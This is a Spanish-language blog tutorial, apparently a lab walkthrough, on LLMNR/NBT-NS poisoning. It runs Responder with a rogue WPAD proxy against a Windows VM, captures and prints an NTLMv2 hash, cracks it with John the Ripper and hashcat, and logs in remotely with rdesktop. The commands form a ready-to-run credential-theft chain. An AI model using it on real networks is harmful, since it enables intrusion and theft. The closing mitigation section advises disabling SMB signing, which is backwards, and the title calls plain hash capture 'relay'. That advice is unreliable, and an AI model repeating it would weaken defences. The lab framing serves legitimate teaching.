Envenenamiento LMMNR/NBT-NS [SMB-Relay]

> El ataque SMB Relay es un ataque muy utilizado para ganar acceso a equipos privilegiados y no privilegiados. En las redes existen sistemas automatizados que... Windows

# Introducción

El ataque SMB Relay es un ataque muy utilizado para ganar acceso a equipos privilegiados y no privilegiados. En las redes existen sistemas automatizados que se conectan a otros equipos para realizar diversas tareas tipo: backups, actualizar antivirus y controladores, revisar inventario del software instalado y demás. Dichos sistemas para conectarse a otros equipos necesitan proveer a los mismos las credenciales válidas para llevar a cabo la autenticación. Y aquí es donde viene lo jugoso, el atacante lo que hace es interceptar las conexiones entre esos sistemas (con su dirección IP interna/local) para capturar el usuario y contraseña, en el caso de la contraseña, viajará hasheada.

La autenticación se realiza por medio del protocolo NTLM, mismo que contiene un hash para almacenar las contraseñas de sistemas Windows.

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Ataque intermediario (MITM) - Envenenamiento

User A: Envía un mensaje de autenticación al User B

Atacante: Intercepta primero el mensaje y lo pasa al User B

User B: Recibe el mensaje y envía el desafío encriptado en un hash hacia el User A

User A: Resuelve el desafío y lo envía hacia el User B

Atacante: Intercepta el desafío (hash)

User B: Decide si otorgar acceso o denegarlo

El atacante graba el Hash-SMB para luego crackear el login por fuerza bruta.

# RESPONDER

Una de las herramientas que suelo utilizar personalmente es Responder, un script hecho en python para envenenar (escuchar) las autenticaciones que viajan en la red, tales como: HTTP/SMB/MSSQL/FTP/LDAP/NTLMv1/NTLMv2/LMv2. Para descargar el repositorio ejecutan el siguiente comando:

$ git clone https://github.com/SpiderLabs/Responder && cd Responder

Para poner en marcha las escuchas:

$ python2 Responder.py -I <INTERFAZ> -w -r -f -v 

-I: Interfaz de red.

-w: Inicie el servidor proxy no autorizado WPAD. El valor predeterminado es falso.

-r: Habilitar las respuestas para las consultas de sufijo wredir de netbios. Responder a wredir probablemente rompa cosas en la red. Valor predeterminado: falso.

-f: Esta opción le permite tomar la huella digital de un host que emitió una consulta NBT-NS o LLMNR.

-v: Modo verbose (más detalles).

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

En mi caso, escogí Windows 7 a explotar como entorno controlado en una VM. Lo probé en mi máquina física con Windows 10 y funciono sin problemas. En Windows me dirigí a Explorador de archivos -> Acceso rápido y en la barra de búsqueda escribí //printserver, es un servidor que conecta una impresora de red al sistema que la esté autenticando.

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Del lado de la atacante, pueden observar como la herramienta ha capturado el usuario y el hash de sesión:

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

NTLMv2 hash:

$ Windows7::WIN-L4EQ22AUEQQ:1122334455667788:7D9F243618A9F7D0A67E33C32CAD0F6D:01010000000000007B1A5D1F4184D80165B72B4E1C351E52000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C00080030003000000000000000010000000020000042D1DCB967E565082DB9764DD27D0466D49D29CCB6AE09136F0E9AF0C8420BA60A001000000000000000000000000000000000000900200048005400540050002F007000720069006E0074007300650072007600650072000000000000000000

Luego, creó un nuevo documento de texto en donde almacenaré el hash, posteriormente usaré John The Ripper para crackearlo:

$ john --wordlist=<diccionario> <hash_almacenado.txt>

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Si su máquina cuenta con un procesador de decente, entonces opten a utilizar hashcat para crackear el hash:

$ hashcat -m 5600 <hash_almacenado.txt> <diccionario.txt>

5600 es el identificador del hash NTLMv2.

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

CREDENCIALES DE LA MÁQUINA

Usuario: Windows7

Contraseña: admin123

Por último, me conectaré de forma remota a la máquina con el software de Rdesktop.

$ rdesktop <IP-host>

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

¡ACCESO OTORGADO!

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

# MITIGAR VULNERABILIDAD

Lo primero que recomiendo es entrar a la configuraciones de Conexiones remota de Windows y deshabilitarla, o solo habilitarla para aquellos equipos de confianza.

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

De parte de la empresa es recomendable limitar las cuentas de usuarios administradores locales y del dominio para no producir un daño mayor, así como también deshabilitar la firma SMB para que el ataque no pueda funcionar.

Advertencia: Todo el contenido de este artículo es estrictamente educativo. No nos hacemos responsables del mal uso de esta herramienta o información. Practica únicamente en entornos controlados y con autorización.
× Imagen ampliada